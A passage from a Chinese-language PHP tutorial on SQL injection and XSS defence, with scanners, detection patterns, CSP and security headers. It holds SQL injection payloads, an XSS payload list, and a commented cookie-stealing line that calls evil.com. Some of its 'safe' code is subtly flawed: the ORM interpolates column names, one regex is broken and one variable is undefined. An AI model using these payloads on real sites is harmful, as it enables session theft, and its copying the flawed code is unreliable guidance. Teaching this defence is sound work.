        throw new InvalidArgumentException("长度必须在{$min}-{$max}字符之间");
    }

    // 清理输入
    public static function sanitize($input, $type = 'string') {
        switch ($type) {
            case 'int':
                return filter_var($input, FILTER_SANITIZE_NUMBER_INT);
            case 'float':
                return filter_var($input, FILTER_SANITIZE_NUMBER_FLOAT);
            case 'email':
                return filter_var($input, FILTER_SANITIZE_EMAIL);
            case 'url':
                return filter_var($input, FILTER_SANITIZE_URL);
            default:
                return htmlspecialchars(trim($input), ENT_QUOTES, 'UTF-8');
        }
    }
}

// 使用示例
try {
    $userId = InputValidator::validateId($_GET['id']);
    $username = InputValidator::validateUsername($_POST['username']);
    $email = InputValidator::validateEmail($_POST['email']);

    // 验证通过后,使用预处理语句查询
    $user = $db->fetchOne(
        "SELECT * FROM users WHERE id = ? AND username = ? AND email = ?",
        [$userId, $username, $email]
    );

} catch (InvalidArgumentException $e) {
    die("输入验证失败: " . $e->getMessage());
}
?>

3. 使用ORM(对象关系映射)

<?php
// 简单的ORM示例
class User {
    private $db;
    private $table = 'users';

    public function __construct($database) {
        $this->db = $database;
    }

    // 查找单个用户
    public function find($id) {
        $sql = "SELECT * FROM {$this->table} WHERE id = ?";
        return $this->db->fetchOne($sql, [$id]);
    }

    // 根据条件查找
    public function findBy($field, $value) {
        $sql = "SELECT * FROM {$this->table} WHERE {$field} = ?";
        return $this->db->fetchOne($sql, [$value]);
    }

    // 创建用户
    public function create($data) {
        // 验证必填字段
        $required = ['username', 'email', 'password'];
        foreach ($required as $field) {
            if (empty($data[$field])) {
                throw new InvalidArgumentException("字段 {$field} 是必填的");
            }
        }

        return $this->db->insert($this->table, $data);
    }

    // 更新用户
    public function update($id, $data) {
        $fields = [];
        $values = [];

        foreach ($data as $field => $value) {
            $fields[] = "{$field} = ?";
            $values[] = $value;
        }

        $values[] = $id;
        $sql = "UPDATE {$this->table} SET " . implode(', ', $fields) . " WHERE id = ?";

        $stmt = $this->db->query($sql, $values);
        return $stmt->affected_rows > 0;
    }

    // 删除用户
    public function delete($id) {
        $sql = "DELETE FROM {$this->table} WHERE id = ?";
        $stmt = $this->db->query($sql, [$id]);
        return $stmt->affected_rows > 0;
    }

    // 安全的搜索功能
    public function search($keyword, $limit = 10, $offset = 0) {
        // 使用LIKE进行安全搜索
        $sql = "SELECT * FROM {$this->table}
                WHERE username LIKE ? OR email LIKE ?
                LIMIT ? OFFSET ?";

        $pattern = "%{$keyword}%";
        return $this->db->fetchAll($sql, [$pattern, $pattern, $limit, $offset]);
    }
}

// 使用示例
$user = new User($db);

try {
    // 安全的搜索
    $keyword = InputValidator::sanitize($_GET['keyword'], 'string');
    $users = $user->search($keyword);

    // 安全的创建
    $userData = [
        'username' => InputValidator::sanitize($_POST['username']),
        'email' => InputValidator::validateEmail($_POST['email']),
        'password' => password_hash($_POST['password'], PASSWORD_DEFAULT)
    ];

    $userId = $user->create($userData);
    echo "用户创建成功,ID: {$userId}";

} catch (Exception $e) {
    error_log("用户操作失败: " . $e->getMessage());
    echo "操作失败,请稍后重试";
}
?>

检测SQL注入漏洞

1. 自动化检测工具

<?php
class SQLInjectionScanner {
    private $url;
    private $parameters;
    private $errorPatterns;

    public function __construct($url, $parameters = []) {
        $this->url = $url;
        $this->parameters = $parameters;

        // 常见的SQL错误模式
        $this->errorPatterns = [
            "/SQL syntax.*MySQL/i",
            "/Warning.*mysql_.*()/i",
            "/valid MySQL result/i",
            "/MySQLClient.*failed/i",
            "/mysql_fetch_array\(\)/i",
            "/mysql_num_rows\(\)/i",
            "/ORA-[0-9]{5}/i",
            "/Oracle error/i",
            "/Microsoft OLE DB Provider for ODBC Drivers/i",
            "/ODBC Microsoft Access Driver/i",
            "/Microsoft JET Database/i",
            "/SQLServer JDBC Driver/i",
            "/PostgreSQL query failed/i",
            /Warning.*pg_.*()/i",
            "/Npgsql\./i"
        ];
    }

    // 检测SQL注入漏洞
    public function scan() {
        $results = [];

        // 测试用例
        $testPayloads = [
            "'",
            "\"",
            "' OR '1'='1",
            "\" OR \"1\"=\"1",
            "' OR 1=1--",
            "' UNION SELECT NULL--",
            "'; DROP TABLE users; --",
            "' AND (SELECT COUNT(*) FROM information_schema.tables)>0--"
        ];

        foreach ($testPayloads as $payload) {
            $result = $this->testPayload($payload);
            if ($result['vulnerable']) {
                $results[] = $result;
            }
        }

        return $results;
    }

    private function testPayload($payload) {
        // 构建测试URL
        $testParams = [];
        foreach ($this->parameters as $param => $value) {
            $testParams[$param] = $payload;
        }

        $testUrl = $this->url . '?' . http_build_query($testParams);

        // 发送请求
        $response = @file_get_contents($testUrl);

        if ($response === false) {
            return ['payload' => $payload, 'vulnerable' => false, 'reason' => 'Request failed'];
        }

        // 检查响应中的SQL错误
        foreach ($this->errorPatterns as $pattern) {
            if (preg_match($pattern, $response)) {
                return [
                    'payload' => $payload,
                    'vulnerable' => true,
                    'reason' => 'SQL error detected in response',
                    'url' => $testUrl
                ];
            }
        }

        // 检查响应时间(时间盲注)
        $start = microtime(true);
        $slowPayload = "' AND (SELECT SLEEP(5))--";
        $slowUrl = $this->url . '?' . http_build_query(array_fill_keys(array_keys($this->parameters), $slowPayload));
        @file_get_contents($slowUrl);
        $duration = microtime(true) - $start;

        if ($duration > 4) {
            return [
                'payload' => $payload,
                'vulnerable' => true,
                'reason' => 'Possible time-based blind SQL injection',
                'response_time' => $duration
            ];
        }

        return ['payload' => $payload, 'vulnerable' => false];
    }
}

// 使用示例
$scanner = new SQLInjectionScanner(
    'http://example.com/search.php',
    ['id' => '1', 'category' => 'books']
);

$vulnerabilities = $scanner->scan();

if (!empty($vulnerabilities)) {
    echo "发现SQL注入漏洞:\n";
    foreach ($vulnerabilities as $vuln) {
        echo "- 载荷: {$vuln['payload']}\n";
        echo "  原因: {$vuln['reason']}\n";
        if (isset($vuln['url'])) {
            echo "  URL: {$vuln['url']}\n";
        }
        echo "\n";
    }
} else {
    echo "未发现明显的SQL注入漏洞";
}
?>

2. 日志监控

<?php
class SQLInjectionMonitor {
    private $logFile;
    private $suspiciousPatterns;

    public function __construct($logFile = 'sql_injection.log') {
        $this->logFile = $logFile;

        // 可疑的SQL注入模式
        $this->suspiciousPatterns = [
            '/union\s+select/i',
            '/select\s+.*\s+from\s+information_schema/i',
            '/drop\s+table/i',
            '/delete\s+from/i',
            '/insert\s+into/i',
            '/update\s+.*\s+set/i',
            '/exec\s*\(/i',
            '/script\s*>/i',
            '/or\s+1\s*=\s*1/i',
            '/and\s+1\s*=\s*1/i',
            '/\'\s*or\s*\'.*\'.*\'/i',
            '/\"\s*or\s*\".*\".*\"/i'
        ];
    }

    // 监控请求参数
    public function monitorRequest() {
        $allInputs = array_merge($_GET, $_POST, $_COOKIE);

        foreach ($allInputs as $key => $value) {
            if ($this->isSuspicious($value)) {
                $this->logSuspiciousActivity($key, $value);
            }
        }
    }

    // 检查是否可疑
    private function isSuspicious($input) {
        if (is_array($input)) {
            foreach ($input as $value) {
                if ($this->isSuspicious($value)) {
                    return true;
                }
            }
            return false;
        }

        foreach ($this->suspiciousPatterns as $pattern) {
            if (preg_match($pattern, $input)) {
                return true;
            }
        }

        return false;
    }

    // 记录可疑活动
    private function logSuspiciousActivity($parameter, $value) {
        $logEntry = [
            'timestamp' => date('Y-m-d H:i:s'),
            'ip' => $_SERVER['REMOTE_ADDR'] ?? 'unknown',
            'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'unknown',
            'request_uri' => $_SERVER['REQUEST_URI'] ?? 'unknown',
            'parameter' => $parameter,
            'value' => $value
        ];

        $logMessage = json_encode($logEntry, JSON_UNESCAPED_UNICODE) . "\n";
        file_put_contents($this->logFile, $logMessage, FILE_APPEND | LOCK_EX);

        // 可以添加实时告警逻辑
        $this->sendAlert($logEntry);
    }

    // 发送告警
    private function sendAlert($activity) {
        // 邮件告警
        $to = 'admin@example.com';
        $subject = 'SQL注入攻击告警';
        $message = "检测到可疑的SQL注入尝试:\n\n";
        $message .= "时间: {$activity['timestamp']}\n";
        $message .= "IP: {$activity['ip']}\n";
        $message .= "参数: {$activity['parameter']}\n";
        $message .= "值: {$activity['value']}\n";
        $message .= "URL: {$activity['request_uri']}\n";

        // 在生产环境中应该使用更安全的邮件发送方式
        // mail($to, $subject, $message);

        // 记录到系统日志
        error_log("SQL注入攻击检测: " . json_encode($activity));
    }
}

// 在每个页面请求开始时进行监控
$monitor = new SQLInjectionMonitor();
$monitor->monitorRequest();
?>

最佳实践总结

1. 永远不要相信用户输入

<?php
// 错误的做法
$sql = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "'";

// 正确的做法
$sql = "SELECT * FROM users WHERE username = ?";
$stmt = $pdo->prepare($sql);
$stmt->execute([$_POST['username']]);
?>

2. 使用最小权限原则

<?php
// 为应用创建专用数据库用户,只授予必要权限

// 应用用户(只能读写特定表)
// GRANT SELECT, INSERT, UPDATE, DELETE ON myapp.users TO 'app_user'@'localhost';

// 避免使用root权限连接数据库
?>

3. 错误处理

<?php
// 不要向用户显示详细的数据库错误
try {
    $stmt = $pdo->prepare($sql);
    $stmt->execute($params);
    $result = $stmt->fetchAll();
} catch (PDOException $e) {
    // 记录到日志
    error_log("Database error: " . $e->getMessage());

    // 向用户显示友好的错误信息
    die("系统暂时繁忙,请稍后重试");
}
?>

4. 使用框架的安全功能

<?php
// 如果使用框架(如Laravel),充分利用其ORM和查询构建器

// Laravel示例 - 安全的查询
$users = DB::table('users')
    ->where('active', 1)
    ->where('created_at', '>', $date)
    ->get();

// Eloquent示例 - 更安全的模型操作
$user = User::where('email', $request->email)->first();
?>

通过学习这些SQL注入防护技术,你可以构建更加安全的PHP应用程序,保护用户数据免受恶意攻击。记住,安全是一个持续的过程,需要时刻保持警惕。

XSS攻击防护

什么是XSS攻击

XSS(Cross-Site Scripting,跨站脚本攻击)是一种代码注入攻击,攻击者通过在网页中注入恶意的JavaScript代码,当其他用户访问这些页面时,恶意代码会在用户的浏览器中执行。

XSS攻击的危害

  1. 窃取用户Cookie:获取用户的会话信息
  2. 键盘记录:记录用户的键盘输入
  3. 钓鱼攻击:伪造登录界面窃取密码
  4. 网页篡改:修改网页内容
  5. 重定向攻击:将用户重定向到恶意网站
  6. 传播恶意软件:下载并执行恶意软件

XSS攻击的类型

1. 存储型XSS(Persistent XSS)

恶意代码被存储在服务器数据库中,当其他用户访问包含这些数据的页面时触发。

<?php
// 危险的示例 - 未对用户输入进行过滤
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $comment = $_POST['comment'];
    $username = $_POST['username'];

    // 直接存储到数据库,未进行过滤
    $sql = "INSERT INTO comments (username, comment) VALUES (?, ?)";
    $stmt = $pdo->prepare($sql);
    $stmt->execute([$username, $comment]);
}

// 显示评论
$sql = "SELECT * FROM comments ORDER BY created_at DESC";
$stmt = $pdo->query($sql);
$comments = $stmt->fetchAll();

foreach ($comments as $comment) {
    // 危险:直接输出用户输入
    echo "<div class='comment'>";
    echo "<strong>" . $comment['username'] . ":</strong>";
    echo "<p>" . $comment['comment'] . "</p>"; // XSS漏洞
    echo "</div>";
}

// 攻击示例
// 用户输入评论: <script>alert('XSS')</script>
// 或者更恶意的: <script>document.location='http://evil.com/steal.php?cookie='+document.cookie</script>
?>

2. 反射型XSS(Reflected XSS)

恶意代码通过URL参数传递,服务器将这些参数反射回页面,立即触发攻击。

<?php
// 危险的搜索功能
if (isset($_GET['search'])) {
    $searchTerm = $_GET['search'];
    echo "搜索结果: " . $searchTerm; // 直接输出,存在XSS
}

// 攻击URL示例
// http://example.com/search.php?search=<script>alert('XSS')</script>

// 另一个例子
$name = $_GET['name'];
echo "欢迎, " . $name; // 反射型XSS

// 攻击URL
// http://example.com/welcome.php?name=<script src="http://evil.com/malicious.js"></script>
?>

3. DOM型XSS

攻击发生在客户端,通过修改页面的DOM结构来执行恶意代码。

<!DOCTYPE html>
<html>
<head>
    <title>DOM XSS示例</title>
</head>
<body>
    <div id="content"></div>
    <script>
        // 危险:直接使用用户输入更新DOM
        var userInput = decodeURIComponent(location.hash.substr(1));
        document.getElementById('content').innerHTML = userInput;

        // 攻击URL
        // http://example.com/page.html#<script>alert('DOM XSS')</script>
    </script>
</body>
</html>

XSS攻击防护方法

1. 输出编码(Output Encoding)

对输出到HTML的内容进行编码,确保浏览器将其作为文本而非代码处理。

<?php
class XssProtection {
    // HTML特殊字符编码
    public static function escape($string) {
        return htmlspecialchars($string, ENT_QUOTES | ENT_HTML5, 'UTF-8');
    }

    // HTML属性编码
    public static function escapeAttr($string) {
        return htmlspecialchars($string, ENT_QUOTES | ENT_HTML5, 'UTF-8');
    }

    // JavaScript编码
    public static function escapeJs($string) {
        return json_encode($string, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
    }

    // URL编码
    public static function escapeUrl($string) {
        return rawurlencode($string);
    }

    // CSS编码
    public static function escapeCss($string) {
        // 实现CSS转义
        $replacements = [
            '&' => '\\26',
            '<' => '\\3c',
            '>' => '\\3e',
            '"' => '\\22',
            "'" => '\\27',
            '/' => '\\2f',
            '=' => '\\3d'
        ];

        return strtr($string, $replacements);
    }
}

// 安全的评论显示示例
function displayComments() {
    $sql = "SELECT * FROM comments ORDER BY created_at DESC";
    $stmt = $pdo->query($sql);
    $comments = $stmt->fetchAll();

    foreach ($comments as $comment) {
        echo "<div class='comment'>";
        echo "<strong>" . XssProtection::escape($comment['username']) . ":</strong>";
        echo "<p>" . XssProtection::escape($comment['comment']) . "</p>";
        echo "<small>" . XssProtection::escape($comment['created_at']) . "</small>";
        echo "</div>";
    }
}

// 安全的搜索结果显示
function displaySearchResults() {
    if (isset($_GET['search'])) {
        $searchTerm = $_GET['search'];
        echo "<h2>搜索结果: " . XssProtection::escape($searchTerm) . "</h2>";

        // 执行搜索
        $sql = "SELECT * FROM articles WHERE title LIKE ?";
        $stmt = $pdo->prepare($sql);
        $stmt->execute(["%$searchTerm%"]);
        $results = $stmt->fetchAll();

        foreach ($results as $article) {
            echo "<h3>" . XssProtection::escape($article['title']) . "</h3>";
            echo "<p>" . XssProtection::escape(substr($article['content'], 0, 200)) . "...</p>";
        }
    }
}
?>

2. 使用HTML Purifier库

HTML Purifier是一个强大的HTML过滤器,可以移除恶意代码同时保留安全的HTML标签。

<?php
// 首先需要安装HTML Purifier
// composer require ezyang/htmlpurifier

require 'vendor/autoload.php';

class SafeHtml {
    private $purifier;

    public function __construct() {
        $config = HTMLPurifier_Config::createDefault();

        // 配置白名单 - 允许的HTML标签
        $config->set('HTML.Allowed', 'p,br,strong,em,u,ol,ul,li,a[href],img[src|alt]');

        // 允许的目标
        $config->set('URI.AllowedSchemes', ['http' => true, 'https' => true, 'mailto' => true]);

        // 禁用危险元素
        $config->set('HTML.SafeIframe', false);
        $config->set('HTML.FlashAllowFullScreen', false);

        // 设置编码
        $config->set('Core.Encoding', 'UTF-8');

        $this->purifier = new HTMLPurifier($config);
    }

    // 清理HTML内容
    public function clean($html) {
        return $this->purifier->purify($html);
    }

    // 严格模式 - 只允许文本格式
    public function cleanStrict($html) {
        $config = HTMLPurifier_Config::createDefault();
        $config->set('HTML.Allowed', 'p,br,strong,em,u');
        $config->set('Core.Encoding', 'UTF-8');

        $strictPurifier = new HTMLPurifier($config);
        return $strictPurifier->purify($html);
    }

    // 允许更多HTML元素(用于管理员等)
    public function cleanPermissive($html) {
        $config = HTMLPurifier_Config::createDefault();
        $config->set('HTML.Allowed', 'p,br,strong,em,u,ol,ul,li,a[href|title],img[src|alt|title],h1,h2,h3,h4,h5,h6,blockquote,code,pre');
        $config->set('HTML.SafeObject', true);
        $config->set('URI.AllowedSchemes', ['http' => true, 'https' => true, 'mailto' => true, 'ftp' => true]);
        $config->set('Core.Encoding', 'UTF-8');

        $permissivePurifier = new HTMLPurifier($config);
        return $permissivePurifier->purify($html);
    }
}

// 使用示例
$safeHtml = new SafeHtml();

// 处理用户提交的内容
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $userContent = $_POST['content'];

    // 根据用户类型选择清理级别
    $cleanContent = $user->isAdmin() ?
        $safeHtml->cleanPermissive($userContent) :
        $safeHtml->clean($userContent);

    // 存储清理后的内容
    $sql = "INSERT INTO posts (content) VALUES (?)";
    $stmt = $pdo->prepare($sql);
    $stmt->execute([$cleanContent]);
}

// 安全地显示内容
$sql = "SELECT * FROM posts ORDER BY created_at DESC";
$stmt = $pdo->query($sql);
$posts = $stmt->fetchAll();

foreach ($posts as $post) {
    echo "<article class='post'>";
    // 因为已经用HTML Purifier清理过,可以直接输出
    echo $post['content'];
    echo "</article>";
}
?>

3. Content Security Policy (CSP)

CSP是一种额外的安全层,帮助检测和缓解某些类型的攻击,包括XSS。

<?php
class CspHelper {
    // 设置CSP头部
    public static function setCspHeader($options = []) {
        $defaultOptions = [
            'default-src' => "'self'",
            'script-src' => "'self' 'unsafe-inline'",
            'style-src' => "'self' 'unsafe-inline'",
            'img-src' => "'self' data: https:",
            'font-src' => "'self'",
            'connect-src' => "'self'",
            'frame-ancestors' => "'none'",
            'base-uri' => "'self'",
            'form-action' => "'self'",
            'object-src' => "'none'",
            'media-src' => "'self'",
            'manifest-src' => "'self'"
        ];

        $options = array_merge($defaultOptions, $options);

        $policies = [];
        foreach ($options as $directive => $value) {
            $policies[] = $directive . ' ' . $value;
        }

        $cspValue = implode('; ', $policies);
        header("Content-Security-Policy: $cspValue");
    }

    // 严格CSP - 仅允许自托管资源
    public static function setStrictCsp() {
        self::setCspHeader([
            'script-src' => "'self'",
            'style-src' => "'self'",
            'img-src' => "'self' data:",
            'font-src' => "'self'",
            'connect-src' => "'self'",
            'frame-ancestors' => "'none'",
            'base-uri' => "'self'",
            'form-action' => "'self'",
            'object-src' => "'none'",
            'media-src' => "'self'"
        ]);
    }

    // 开发环境CSP - 允许内联脚本
    public static function setDevelopmentCsp() {
        self::setCspHeader([
            'script-src' => "'self' 'unsafe-inline' 'unsafe-eval'",
            'style-src' => "'self' 'unsafe-inline'",
            'img-src' => "'self' data: https:",
            'connect-src' => "'self' ws: wss:",
            'object-src' => "'none'"
        ]);
    }

    // 报告模式 - 不阻止违规行为,只报告
    public static function setReportOnlyCsp($reportUri) {
        $options = [
            'default-src' => "'self'",
            'script-src' => "'self'",
            'style-src' => "'self'",
            'img-src' => "'self'",
            'report-uri' => $reportUri
        ];

        $policies = [];
        foreach ($options as $directive => $value) {
            $policies[] = $directive . ' ' . $value;
        }

        $cspValue = implode('; ', $policies);
        header("Content-Security-Policy-Report-Only: $cspValue");
    }
}

// 在应用中使用CSP
// 在每个页面开始时调用
CspHelper::setStrictCsp();

// 或者根据环境设置不同级别的CSP
if (defined('ENVIRONMENT') && ENVIRONMENT === 'development') {
    CspHelper::setDevelopmentCsp();
} else {
    CspHelper::setStrictCsp();
}

// CSP违规报告处理器
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['csp-report'])) {
    $report = json_decode(file_get_contents('php://input'), true);

    // 记录违规报告
    $logEntry = [
        'timestamp' => date('Y-m-d H:i:s'),
        'violated-directive' => $report['csp-report']['violated-directive'] ?? 'unknown',
        'blocked-uri' => $report['csp-report']['blocked-uri'] ?? 'unknown',
        'document-uri' => $report['csp-report']['document-uri'] ?? 'unknown',
        'original-policy' => $report['csp-report']['original-policy'] ?? 'unknown'
    ];

    file_put_contents('csp_violations.log', json_encode($logEntry) . "\n", FILE_APPEND);

    header('HTTP/1.1 204 No Content');
    exit;
}
?>

4. HTTP安全头部

设置适当的HTTP安全头部可以帮助防止XSS攻击。

<?php
class SecurityHeaders {
    // 设置所有安全相关的HTTP头部
    public static function setAll() {
        self::setXssProtection();
        self::setContentTypeOptions();
        self::setFrameOptions();
        self::setStrictTransportSecurity();
        self::setReferrerPolicy();
        self::setPermissionsPolicy();
    }

    // X-XSS-Protection(已废弃,但为了兼容旧浏览器)
    public static function setXssProtection() {
        header("X-XSS-Protection: 1; mode=block");
    }

    // X-Content-Type-Options
    public static function setContentTypeOptions() {
        header("X-Content-Type-Options: nosniff");
    }

    // X-Frame-Options - 防止点击劫持
    public static function setFrameOptions($option = 'DENY') {
        // 选项: DENY, SAMEORIGIN, ALLOW-FROM uri
        header("X-Frame-Options: $option");
    }

    // Strict-Transport-Security (HTTPS only)
    public static function setStrictTransportSecurity($maxAge = 31536000, $includeSubDomains = true) {
        if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') {
            $value = "max-age=$maxAge";
            if ($includeSubDomains) {
                $value .= "; includeSubDomains";
            }
            header("Strict-Transport-Security: $value");
        }
    }

    // Referrer Policy
    public static function setReferrerPolicy($policy = 'strict-origin-when-cross-origin') {
        header("Referrer-Policy: $policy");
    }

    // Permissions Policy (原名Feature Policy)
    public static function setPermissionsPolicy() {
        $features = [
            'geolocation' => '()',
            'microphone' => '()',
            'camera' => '()',
            'payment' => '()',
            'usb' => '()',
            'magnetometer' => '()',
            'gyroscope' => '()',
            'accelerometer' => '()'
        ];

        $policies = [];
        foreach ($features as $feature => $allowlist) {
            $policies[] = "$feature=$allowlist";
        }

        header("Permissions-Policy: " . implode(', ', $policies));
    }
}

// 在应用开始时设置安全头部
SecurityHeaders::setAll();
?>

5. 输入验证和过滤

<?php
class InputFilter {
    // 验证和清理HTML内容
    public static function filterHtml($input, $allowedTags = null) {
        if ($allowedTags === null) {
            // 默认允许的标签
            $allowedTags = '<p><br><strong><em><u><ol><ul><li>';
        }

        // 移除危险属性
        $input = preg_replace('/on\w+\s*=\s*["\']?[^"\']*["\']?/i', '', $input);

        // 移除javascript:协议
        $input = preg_replace('/javascript\s*:/i', '', $input);

        // 移除vbscript:协议
        $input = preg_replace('/vbscript\s*:/i', '', $input);

        // 移除data:协议(除了图片)
        $input = preg_replace('/data:(?!image\/)/i', '', $input);

        return strip_tags($input, $allowedTags);
    }

    // 验证URL
    public static function validateUrl($url) {
        // 首先验证格式
        if (!filter_var($url, FILTER_VALIDATE_URL)) {
            return false;
        }

        // 检查协议
        $allowedSchemes = ['http', 'https'];
        $scheme = parse_url($url, PHP_URL_SCHEME);

        if (!in_array($scheme, $allowedSchemes)) {
            return false;
        }

        // 检查是否包含javascript等
        if (preg_match('/(javascript|vbscript|data):/i', $url)) {
            return false;
        }

        return true;
    }

    // 清理用户输入用于特定上下文
    public static function cleanForContext($input, $context) {
        switch ($context) {
            case 'html':
                return self::filterHtml($input);
            case 'attribute':
                return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
            case 'javascript':
                return json_encode($input, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
            case 'css':
                return preg_replace('/[<>"\'\/]/', '', $input);
            case 'url':
                return filter_var($url, FILTER_SANITIZE_URL);
            default:
                return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
        }
    }

    // 检测可疑内容
    public static function isSuspicious($input) {
        $suspiciousPatterns = [
            '/<script[^>]*>/i',
            '/javascript:/i',
            '/vbscript:/i',
            '/onload\s*=/i',
            '/onerror\s*=/i',
            '/onclick\s*=/i',
            '/onmouseover\s*=/i',
            '/onfocus\s*=/i',
            '/onblur\s*=/i',
            '/onchange\s*=/i',
            '/onsubmit\s*=/i',
            '/<iframe[^>]*>/i',
            '/<object[^>]*>/i',
            '/<embed[^>]*>/i',
            '/<link[^>]*>/i',
            '/<meta[^>]*>/i',
            '/expression\s*\(/i'
        ];

        foreach ($suspiciousPatterns as $pattern) {
            if (preg_match($pattern, $input)) {
                return true;
            }
        }

        return false;
    }
}

// 安全的表单处理示例
class SecureForm {
    public function processForm($data) {
        // 验证必填字段
        if (empty($data['name']) || empty($data['email'])) {
            throw new InvalidArgumentException('姓名和邮箱是必填的');
        }

        // 验证邮箱
        if (!filter_var($data['email'], FILTER_VALIDATE_EMAIL)) {
            throw new InvalidArgumentException('邮箱格式不正确');
        }

        // 检测网站字段是否包含恶意内容
        if (!empty($data['website']) && !InputFilter::validateUrl($data['website'])) {
            throw new InvalidArgumentException('网站URL无效');
        }

        // 清理和验证各个字段
        $cleanData = [
            'name' => InputFilter::cleanForContext($data['name'], 'html'),
            'email' => filter_var($data['email'], FILTER_SANITIZE_EMAIL),
            'website' => !empty($data['website']) ? $data['website'] : '',
            'comment' => InputFilter::filterHtml($data['comment'] ?? ''),
            'signature' => InputFilter::cleanForContext($data['signature'] ?? '', 'attribute')
        ];

        // 检查是否有可疑内容
        foreach ($cleanData as $field => $value) {
            if (InputFilter::isSuspicious($data[$field] ?? '')) {
                // 记录可疑活动
                error_log("可疑输入检测到: 字段=$field, 值=$value");
                throw new SecurityException('输入包含不安全的内容');
            }
        }

        return $cleanData;
    }
}

// 使用示例
$form = new SecureForm();

try {
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        $cleanData = $form->processForm($_POST);

        // 存储到数据库
        $sql = "INSERT INTO contacts (name, email, website, comment, signature) VALUES (?, ?, ?, ?, ?)";
        $stmt = $pdo->prepare($sql);
        $stmt->execute([
            $cleanData['name'],
            $cleanData['email'],
            $cleanData['website'],
            $cleanData['comment'],
            $cleanData['signature']
        ]);

        echo "提交成功!";
    }
} catch (InvalidArgumentException $e) {
    echo "错误: " . $e->getMessage();
} catch (SecurityException $e) {
    echo "安全错误: " . $e->getMessage();
    // 可以在这里记录安全事件
}
?>

6. DOM XSS防护

<?php
class DomXssProtection {
    // 生成安全的JavaScript代码
    public static function generateSafeScript($data) {
        // 确保数据被正确编码
        $json = json_encode($data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);

        return "<script>
            (function() {
                var data = $json;
                // 安全地使用数据
                var element = document.getElementById('dynamic-content');
                if (element) {
                    element.textContent = data.message; // 使用textContent而不是innerHTML
                }
            })();
        </script>";
    }

    // 安全的模板渲染
    public static function renderTemplate($template, $data) {
        // 使用简单的模板系统
        foreach ($data as $key => $value) {
            // 对数据进行HTML编码
            $escapedValue = htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
            $template = str_replace('{{' . $key . '}}', $escapedValue, $template);
        }

        return $template;
    }
}

// 安全的前端JavaScript示例
?>
<script>
// 安全地更新DOM内容
function updateContent(elementId, content) {
    var element = document.getElementById(elementId);
    if (element) {
        // 使用textContent而不是innerHTML
        element.textContent = content;
    }
}

// 安全地设置HTML内容
function setHtmlSafe(elementId, htmlContent) {
    var element = document.getElementById(elementId);
    if (element) {
        // 如果必须设置HTML,先进行清理
        var div = document.createElement('div');
        div.textContent = htmlContent;
        element.innerHTML = div.innerHTML;
    }
}

// 安全地处理URL参数
function getUrlParam(name) {
    var urlParams = new URLSearchParams(window.location.search);
    var value = urlParams.get(name);

    // 对参数进行解码和清理
    if (value) {
        return value.replace(/[<>]/g, '');
    }
    return null;
}

// 使用示例
document.addEventListener('DOMContentLoaded', function() {
    var message = getUrlParam('message');
    if (message) {
        updateContent('message-display', message);
    }
});
</script>
<?php
// PHP端生成安全的数据
$userData = [
    'name' => htmlspecialchars($user['name'], ENT_QUOTES, 'UTF-8'),
    'avatar' => htmlspecialchars($user['avatar'], ENT_QUOTES, 'UTF-8'),
    'message' => htmlspecialchars($user['message'], ENT_QUOTES, 'UTF-8')
];

// 生成安全的JavaScript
echo DomXssProtection::generateSafeScript(['message' => $userData['message']]);

// 或使用模板渲染
$template = '<div class="user-card">
    <h3>{{name}}</h3>
    <img src="{{avatar}}" alt="{{name}}">
    <p>{{message}}</p>
</div>';

echo DomXssProtection::renderTemplate($template, $userData);
?>

XSS检测和监控

1. XSS漏洞扫描器

<?php
class XssScanner {
    private $url;
    private $parameters;
    private $payloads;

    public function __construct($url, $parameters = []) {
        $this->url = $url;
        $this->parameters = $parameters;

        // XSS测试载荷
        $this->payloads = [
            // 基本脚本注入
            '<script>alert("XSS")</script>',
            '<script>alert(document.cookie)</script>',
            '<img src=x onerror=alert("XSS")>',
            '<svg onload=alert("XSS")>',

            // 绕过过滤的尝试
            '<ScRiPt>alert("XSS")</ScRiPt>',
            '<script>alert(String.fromCharCode(88,83,83))</script>',
            '<script>alert(/XSS/)</script>',
            '"><script>alert("XSS")</script>',
            "'><script>alert('XSS')</script>",

            // HTML注入
            '<iframe src="javascript:alert(\'XSS\')"></iframe>',
            '<body onload=alert("XSS")>',
            '<input onfocus=alert("XSS") autofocus>',

            // 编码尝试
            '%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E',
            '&#60;script&#62;alert("XSS")&#60;/script&#62;',

            // 其他向量
            'javascript:alert("XSS")',
            '<meta http-equiv="refresh" content="0;url=javascript:alert(\'XSS\')">',
            '<style>@import "javascript:alert(\'XSS\')";</style>'
        ];
    }

    // 扫描XSS漏洞
    public function scan() {
        $vulnerabilities = [];

        foreach ($this->payloads as $payload) {
            $result = $this->testPayload($payload);
            if ($result['vulnerable']) {
                $vulnerabilities[] = $result;
            }
        }

        return $vulnerabilities;
    }

    // 测试单个载荷
    private function testPayload($payload) {
        $testParams = [];
        foreach ($this->parameters as $param => $value) {
            $testParams[$param] = $payload;
        }

        $testUrl = $this->url . '?' . http_build_query($testParams);

        // 使用curl获取响应
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $testUrl);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (XSS Scanner)');

        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);

        if ($response === false) {
            return ['payload' => $payload, 'vulnerable' => false, 'reason' => 'Request failed'];
        }

        // 检查响应中是否包含未转义的payload
